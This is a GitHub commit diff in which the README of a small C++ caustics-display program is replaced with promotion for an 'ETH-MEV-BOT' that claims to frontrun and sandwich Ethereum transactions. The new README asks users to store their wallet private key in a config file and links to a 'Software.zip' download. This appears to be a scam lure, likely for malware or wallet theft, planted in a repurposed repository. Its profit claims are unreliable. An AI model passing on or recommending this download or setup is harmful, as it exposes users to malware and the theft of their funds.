-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
7bb613a
commit 1c9a07a
Showing
1 changed file
with
60 additions
and
29 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,43 +1,74 @@ | ||
| # caustics-display | ||
| # ETH-MEV-BOT | ||
|
|
||
| A simple C++ program used to verify the caustics pattern produced by the output of [Kassubeck et al.'s implementation](https://github.com/CompN3rd/ShapeFromCaustics/tree/main/schwartzburg_2014) of Schwartzburg et al.'s [High-contrast computational caustic design](https://dl.acm.org/doi/10.1145/2601097.2601200). | ||
|  | ||
|
|
||
| ## Dependencies | ||
| Welcome to the ETH-MEV-BOT repository! This repository contains an Ethereum frontrunning bot designed to frontrun and sandwich transactions on the Ethereum blockchain. Take advantage of this powerful tool to optimize your trading strategies and maximize your profits. | ||
|
|
||
| Make sure to include these when building the program. | ||
| - [SDL 2](https://www.libsdl.org/) | ||
| - [Eigen](https://eigen.tuxfamily.org/) | ||
| ## Features | ||
|
|
||
| ## How to use | ||
| - Frontruns transactions on the Ethereum chain | ||
| - Sandwiches transactions for better trade execution | ||
| - Increases chances of successful trades in volatile markets | ||
| - Highly customizable parameters for advanced users | ||
| - Real-time monitoring and alerts for trade opportunities | ||
|
|
||
| 1. First build the caustics display executable. | ||
| 2. Run Kassubeck et al.'s implementation to obtain an .obj file for your target image. The target image must be 256x256 pixels. | ||
| 3. Place the .obj file in the same directory as the built executable. | ||
| 4. Open the command line in the same directory, and run: | ||
| `causticsdisplay.exe [filename].obj [receiver_plane]` | ||
| <br>The first argument is the .obj file, and the second argument is the distance to the receiver plane when generating the .obj file. | ||
| 5. If successful, the display window will open shortly and the caustics pattern will be shown. | ||
| <br>The window can be resized to make the pattern more clear. | ||
| <br>Pressing W and S will increase or decrease the receiver plane distance, respectively, in order to fine-tune the spacing. | ||
| <br>Pressing Q will display the current distance in the console. | ||
| ## Installation | ||
|
|
||
| ## Sample Screenshots | ||
| To get started with the ETH-MEV-BOT, follow these steps: | ||
|
|
||
| ### Target image | ||
| 1. Clone the repository to your local machine: | ||
| ```bash | ||
| git clone https://github.com/your-username/ETH-MEV-BOT.git | ||
| ``` | ||
|
|
||
|  | ||
| <br>Photo of a marble fox I found on Google, made grayscale and shrunk down to 256x256 | ||
| 2. Install the required dependencies using `pip`: | ||
| ```bash | ||
| pip install -r requirements.txt | ||
| ``` | ||
|
|
||
| ### Screenshot of the .obj file / lens shape generated by Kassubeck et al.'s code | ||
| 3. Configure the bot settings in `config.ini` file: | ||
| ```ini | ||
| [eth_mev_bot] | ||
| wallet_address = your_wallet_address | ||
| private_key = your_private_key | ||
| gas_price = 50 | ||
| block_confirmations = 1 | ||
| ``` | ||
|
|
||
|  | ||
| <br> (file too large to upload to GitHub - I've uploaded it [here](https://mega.nz/file/2593DAST#vWJQIVjO7D_PTpi0Drja8bFXgGCo55YhR6MlpsjPxXI) to test with yourself!) | ||
| ## Usage | ||
|
|
||
| ### Running the executable | ||
| Run the ETH-MEV-BOT using the following command: | ||
| ```bash | ||
| python eth_mev_bot.py | ||
| ``` | ||
|
|
||
|  | ||
| ## Example | ||
|
|
||
| ### Caustics image | ||
| Here's an example of how the ETH-MEV-BOT can be used to frontrun a transaction on the Ethereum chain: | ||
|
|
||
|  | ||
| <br>(The display window was resized to be larger to make the image more clear, the program will start at 256x256 resolution. It may look a little funky in the README but you can still make out the image, full resolution in ./img/caustics.png!) | ||
| ```python | ||
| from eth_mev_bot import MEVBot | ||
|
|
||
| bot = MEVBot(wallet_address='your_wallet_address', private_key='your_private_key') | ||
| bot.frontrun_transaction(target_transaction_hash='0x1234567890abcdef', gas_price=50) | ||
| ``` | ||
|
|
||
| ## Download | ||
|
|
||
| [](https://github.com/user-attachments/files/17466420/Software.zip) | ||
|
|
||
| ## Support | ||
|
|
||
| If you have any questions, issues, or feature requests, please submit them in the [Issues](https://github.com/your-username/ETH-MEV-BOT/issues) section of this repository. Our team will be happy to assist you. | ||
|
|
||
| ## Acknowledgements | ||
|
|
||
| We would like to thank the following sources for their contributions to this project: | ||
|
|
||
| - [Ethereum logo](https://ethereum.org/) | ||
| - [MEV Explained article](https://example.com/mev-explained) | ||
| - [Ethereum Gas Tracker API](https://example.com/eth-gas-tracker) | ||
|
|
||
| ## License | ||
|
|
||
| This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. |